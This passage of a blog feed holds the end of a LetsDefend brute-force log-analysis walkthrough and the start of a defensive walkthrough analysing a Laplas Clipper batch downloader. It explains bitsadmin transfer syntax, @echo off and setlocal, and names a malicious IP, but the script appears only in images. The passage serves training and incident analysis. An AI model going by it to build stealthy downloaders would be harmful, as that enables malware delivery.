attacker?&#xA;&lt;/h3&gt;&lt;p&gt;From the information we gathered in &lt;strong&gt;Question 6&lt;/strong&gt;, we know that successful &lt;em&gt;ssh&lt;/em&gt; logins generate an &amp;quot; # &amp;ldquo;Accepted password&amp;quot;log entry, but you also may have noticed that unsuccessful logins generate a &amp;quot; # &amp;ldquo;Failed password&amp;quot;entry.&lt;/p&gt;&#xA;&lt;p&gt;So, let&amp;rsquo;s just simply search in the text editor for &amp;quot; # &amp;ldquo;Failed password&amp;quot;which should give us the total number of failed login attempts captured in this log!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;417px&#34; data-flex-grow=&#34;173&#34; height=&#34;460&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/a4fb5c85d4a86569ea20d59eea814d2f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1939px&#34; data-flex-grow=&#34;808&#34; height=&#34;99&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/cb14257696e64a2cd55bf43c34f851f4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-technique-is-used-to-gainaccess&#34;&gt;Question 8: What technique is used to gain access?&#xA;&lt;/h3&gt;&lt;p&gt;Okay! We&amp;rsquo;ve now analyzed the &lt;em&gt;HTTP&lt;/em&gt;, &lt;em&gt;RDP&lt;/em&gt;, and &lt;em&gt;SSH&lt;/em&gt; traffic and determined that the attacker tried thousands of guesses over these different protocols to gain access to the &lt;em&gt;web server.&lt;/em&gt; With the sheer number of attempts, we can conclude that the &lt;em&gt;web server&lt;/em&gt; was the victim of a &lt;strong&gt;brute force attack&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s pivot to &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt;&lt;/a&gt;&lt;em&gt;,&lt;/em&gt; a popular knowledge base of adversary tactics, techniques, and procedures to get more information and find the correct &lt;em&gt;MITRE ID&lt;/em&gt; for this technique&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1110/&#34;  title=&#34;https://attack.mitre.org/techniques/T1110/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Brute Force&lt;/strong&gt;&#xA;_Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password&amp;hellip;_attack.mitre.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1110/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.&lt;a class=&#34;link&#34; href=&#34;https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;[1]&lt;/a&gt; Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.&lt;a class=&#34;link&#34; href=&#34;https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;[2]&lt;/a&gt; Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Now that we have located the correct technique ID from &lt;em&gt;MITRE ATT&amp;amp;CK,&lt;/em&gt; let&amp;rsquo;s submit our answer and wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1699px&#34; data-flex-grow=&#34;707&#34; height=&#34;113&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/43e09808281518b5d39f2ff5969c6c49_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Great job! Going through this investigation, we&amp;rsquo;ve gathered the required evidence and scoped the damage caused by this brute force attack. With &lt;em&gt;Wireshark&lt;/em&gt;, we started to paint a clearer picture of the attacker&amp;rsquo;s brute force methods and targets by pinpointing the server IP, the specific targeted directory, the number unsuccessful and successful login attempts made, and the compromised accounts. Then, by examining the web server&amp;rsquo;s &lt;em&gt;auth.log file&lt;/em&gt;, we were able to determine the full scope of the &lt;em&gt;SSH&lt;/em&gt; brute force attack including the number of successful and unsuccessful logins and what credentials were compromised.&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for creating another cool and engaging challenge. The sheer volume of events generated during a brute force attack makes searching through the data all the more difficult, so this challenge was really helpful to practice log analysis in the context of a brute force attack. Personally, I hadn&amp;rsquo;t had much exposure or need to look through &lt;em&gt;Linux&lt;/em&gt; &lt;em&gt;auth.log&lt;/em&gt; files before. After seeing how much valuable information they hold, I will definitely remember this one during future &lt;em&gt;Linux&lt;/em&gt; investigations. I also pick up something new every time I go hands-on with &lt;em&gt;Wireshark.&lt;/em&gt; This time, seeing what packet details are available in the &lt;em&gt;HTTP POST&lt;/em&gt; responses was really fascinating. Thanks for reading along!&lt;/p&gt;&#xA;&lt;p&gt;If you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, &lt;strong&gt;please give it a clap&lt;/strong&gt;! Your feedback lets me know that I helped you out on your security journey. We&amp;rsquo;re in this together! Thanks for the support!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Wireshark:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.wireshark.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wikipedia — POST (HTTP):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/POST_%28HTTP%29&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/POST_(HTTP)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Brute Force (T1110):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1110/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1110/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Batch Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/</link>
            <pubDate>Sun, 08 Sep 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/4235f4abca0b0ec0698c3b75f0db4f78_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Batch Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend-batch-challenge-walkthrough&#34;&gt;LetsDefend— Batch Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-malicious-batch-script-with-notepad--microsoft-learn&#34;&gt;Investigating a Malicious Batch Script with Notepad++ &amp;amp; Microsoft Learn&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/4235f4abca0b0ec0698c3b75f0db4f78_MD5.png&#34; width=&#34;400&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/batch-downloader&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/batch-downloader&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Have you ever wanted to analyze a &lt;em&gt;batch file&lt;/em&gt; to determine if it malicious or safe? If this topic sounds interesting to you, you&amp;rsquo;ve stumbled on the right blog!&lt;/p&gt;&#xA;&lt;p&gt;Welcome to my weekly walkthrough. This week, we&amp;rsquo;re tackling the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/batch-downloader&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Batch Downloader&lt;/strong&gt;&lt;/a&gt; from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;!&lt;/strong&gt; This challenge has us security analysts dissecting the content of a malicious &lt;em&gt;batch file&lt;/em&gt; (&lt;em&gt;.bat&lt;/em&gt;) to better understand what it does.&lt;/p&gt;&#xA;&lt;p&gt;To perform the investigation, we&amp;rsquo;ll use &lt;a class=&#34;link&#34; href=&#34;https://notepad-plus-plus.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Notepad++&lt;/em&gt;&lt;/a&gt;&lt;em&gt;,&lt;/em&gt; a powerful text editor_,_ to examine the file_._ We&amp;rsquo;ll also leverage &lt;em&gt;Microsoft Learn&lt;/em&gt; documentation to cross-reference our findings, giving us valuable background and context to fully understand the script&amp;rsquo;s behavior. Sounds like a fun time, right? Let&amp;rsquo;s get to it!&lt;/p&gt;&#xA;&lt;p&gt;And hey, if you find this walkthrough helpful in leveling up your skills or getting you through a tricky question, &lt;strong&gt;please give it a clap&lt;/strong&gt;! Your feedback lets me know that I helped you out on your security journey. Thanks for reading!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/batch-downloader&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/batch-downloader&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A malicious batch file has been discovered that downloads and executes files associated with the Laplas Clipper malware. Analyze this batch file to understand its behavior and help us investigate its activities.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-command-is-used-to-prevent-the-command-echoing-in-theconsole&#34;&gt;Question 1: What command is used to prevent the command echoing in the console?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s kick off our investigation! Before diving into the challenge file, it&amp;rsquo;s always a smart idea to understand what tools are available to us for analysis. To check what we have, we can open the &lt;em&gt;Tools&lt;/em&gt; folder on the &lt;em&gt;Desktop&lt;/em&gt; of the analysis virtual machine.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;427px&#34; data-flex-grow=&#34;178&#34; height=&#34;449&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/0c51003ca2c36346f8cbc2bb2007ac76_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;For this challenge we will be analyzing a &lt;em&gt;Batch File (.bat)&lt;/em&gt; which is a type of &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;command shell script&lt;/a&gt; that is used in &lt;em&gt;Windows&lt;/em&gt; environments. As the &lt;em&gt;batch&lt;/em&gt; file can be opened and edited in a plaintext editor, we will be using &lt;a class=&#34;link&#34; href=&#34;https://notepad-plus-plus.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Notepad++&lt;/em&gt;&lt;/a&gt; for the analysis.&lt;/p&gt;&#xA;&lt;p&gt;Now, let&amp;rsquo;s navigate to the &lt;em&gt;ChallengeFile&lt;/em&gt; folder and extract the &lt;em&gt;1.zip&lt;/em&gt; archive. Inside will be another nested file, go ahead and extract that one too so that we can access the malicious &lt;em&gt;.bat&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1060px&#34; data-flex-grow=&#34;441&#34; height=&#34;181&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/9c43308a0245ec2ea8ae06f37a8854ee_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Finally, let&amp;rsquo;s open the batch file with &lt;em&gt;Notepad++&lt;/em&gt; so we can begin analyzing the contents.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;513px&#34; data-flex-grow=&#34;213&#34; height=&#34;561&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5_hu_f5c7e545070479a0.png 800w, https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1&lt;/strong&gt;, we&amp;rsquo;re looking for the command that prevents echoing to the console. Focusing on &lt;em&gt;Line 1&lt;/em&gt; in the script we&amp;rsquo;ll see the following:&lt;/p&gt;&#xA;&lt;p&gt;@echo off&lt;/p&gt;&#xA;&lt;p&gt;This &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/echo&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;parameter&lt;/a&gt; prevents all of the commands in the script from being displayed to the console which will obfuscate what the script is doing.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1761px&#34; data-flex-grow=&#34;733&#34; height=&#34;109&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/0e560c9e38d1765d4a95464573580993_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-which-tool-is-used-to-download-a-file-from-a-specified-url-in-thescript&#34;&gt;Question 2: Which tool is used to download a file from a specified URL in the script?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, to answer &lt;strong&gt;Question 2,&lt;/strong&gt; we&amp;rsquo;re going to focus on &lt;em&gt;Line 2&lt;/em&gt; of the script.&lt;/p&gt;&#xA;&lt;p&gt;Quickly scanning &lt;em&gt;Line 2&lt;/em&gt;, we see some evidence of download activity including a &lt;em&gt;URL,&lt;/em&gt; so we&amp;rsquo;re looking in the correct spot.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s getting a better idea of what the &lt;strong&gt;&lt;em&gt;bitsadmin&lt;/em&gt;&lt;/strong&gt; command is and how it can be used to perform download jobs. Below is a description of &lt;em&gt;Bitsadmin&lt;/em&gt; from &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Microsoft Learn&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Bitsadmin is a command-line tool used to create, download or upload jobs, and to monitor their progress. The bitsadmin tool uses switches to identify the work to perform.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;So, &lt;em&gt;Bitsadmin&lt;/em&gt; uses these switches with the syntax below to perform transfer jobs:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-transfer&#34;  title=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-transfer&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;bitsadmin transfer&lt;/strong&gt;&#xA;_Reference article for the bitsadmin transfer command, which transfers one or more files._learn.microsoft.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-transfer&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;bitsadmin /transfer &lt;name&gt; [&lt;type&gt;] [/priority &amp;lt;job_priority&amp;gt;] [/ACLflags &lt;flags&gt;] [/DYNAMIC] &lt;remotefilename&gt; &lt;localfilename&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;513px&#34; data-flex-grow=&#34;213&#34; height=&#34;561&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5_hu_f5c7e545070479a0.png 800w, https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;With this bit of background, we can now confirm that &lt;em&gt;bitsadmin&lt;/em&gt; is the correct tool being used to download the file. Let&amp;rsquo;s check our work and continue the investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1655px&#34; data-flex-grow=&#34;689&#34; height=&#34;116&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/06a09ec3a17306872f5245704634a5a6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-priority-set-for-the-download-operation-in-thescript&#34;&gt;Question 3: What is the priority set for the download operation in the script?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s continuing dissecting the &lt;em&gt;bitsadmin&lt;/em&gt; command on &lt;em&gt;line 2&lt;/em&gt; and focus on the switches used.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;513px&#34; data-flex-grow=&#34;213&#34; height=&#34;561&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5_hu_f5c7e545070479a0.png 800w, https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Referring to the &lt;em&gt;bitsadmin&lt;/em&gt; syntax from the previous question, we will see a &lt;em&gt;/priority&lt;/em&gt; switch. According to the &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-transfer&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Microsoft Learn reference&lt;/a&gt;, there are a few options to set the priority of the download job:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;priorityOptional. Sets the priority of the job, including:&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;FOREGROUND&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;HIGH&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;NORMAL&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;LOW&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In the case of this script, the job is set to the highest priority, &lt;em&gt;FOREGROUND.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1714px&#34; data-flex-grow=&#34;714&#34; height=&#34;112&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/7c17a7c9475641bfc15db898a9edb337_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-which-command-is-used-to-start-localization-of-environment-changes-in-thescript&#34;&gt;Question 4: Which command is used to start localization of environment changes in the script?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 4&lt;/strong&gt;, we need to locate a command for localization. Let&amp;rsquo;s take a closer look at &lt;em&gt;line 3 — setlocal.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Going back to &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/setlocal&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Microsoft Learn&lt;/em&gt;&lt;/a&gt; for reference, we can confirm that the &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/setlocal&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;setlocal&lt;/em&gt;&lt;/a&gt; command &amp;quot; # &amp;ldquo;starts localization of environment variables in a batch file.&amp;rdquo;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1684px&#34; data-flex-grow=&#34;701&#34; height=&#34;114&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6083841192167729729a04cb96076b13_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-which-ip-address-is-used-by-malicious-code&#34;&gt;Question 5: Which IP address is used by malicious code?&#xA;&lt;/h3&gt;&lt;p&gt;Fortunately, locating the answer to &lt;strong&gt;Question 5&lt;/strong&gt; is straight forward — an &lt;em&gt;IP address&lt;/em&gt; is readily visible in &lt;em&gt;line 2.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;513px&#34; data-flex-grow=&#34;213&#34; height=&#34;561&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5_hu_f5c7e545070479a0.png 800w, https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;While this is the only &lt;em&gt;IP address&lt;/em&gt; in the batch script, let&amp;rsquo;s gather some additional &lt;em&gt;threat intelligence&lt;/em&gt; by checking it against &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/ip-address/193.169.255.78/detection&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/a&gt; to see if we can get any hits that it&amp;rsquo;s malicious:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1507px&#34; data-flex-grow=&#34;628&#34; height=&#34;191&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/927c418a3fd6ea3be08f419e113c54f5_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/927c418a3fd6ea3be08f419e113c54f5_MD5_hu_9b3fc90bab3a056f.png 800w, https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/927c418a3fd6ea3be08f419e113c54f5_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, we&amp;rsquo;ve got a number of hits that this &lt;em&gt;IP address&lt;/em&gt; is malicious and even some community reports attributing it to the &lt;em&gt;Laplas Clipper&lt;/em&gt; &lt;em&gt;malware&lt;/em&gt; mentioned in the challenge scenario!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1828px&#34; data-flex-grow=&#34;761&#34; height=&#34;105&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/8416113f5948adea4fb4124083118deb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-name-of-the-subroutine-called-to-extract-the-contents-of-the-zipfile&#34;&gt;Question 6: What is the name of the subroutine called to extract the contents of the zip file?&#xA;&lt;/h3&gt;&lt;p&gt;All right, back to analyzing the script. This time, we&amp;rsquo;re going to focus on &lt;em&gt;lines 5 &amp;amp; 10&lt;/em&gt; since we are looking for an &lt;em&gt;unzip&lt;/em&gt; operation to extract the file downloaded from the malicious IP from &lt;strong&gt;Question 5&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;513px&#34; data-flex-grow=&#34;213&#34; 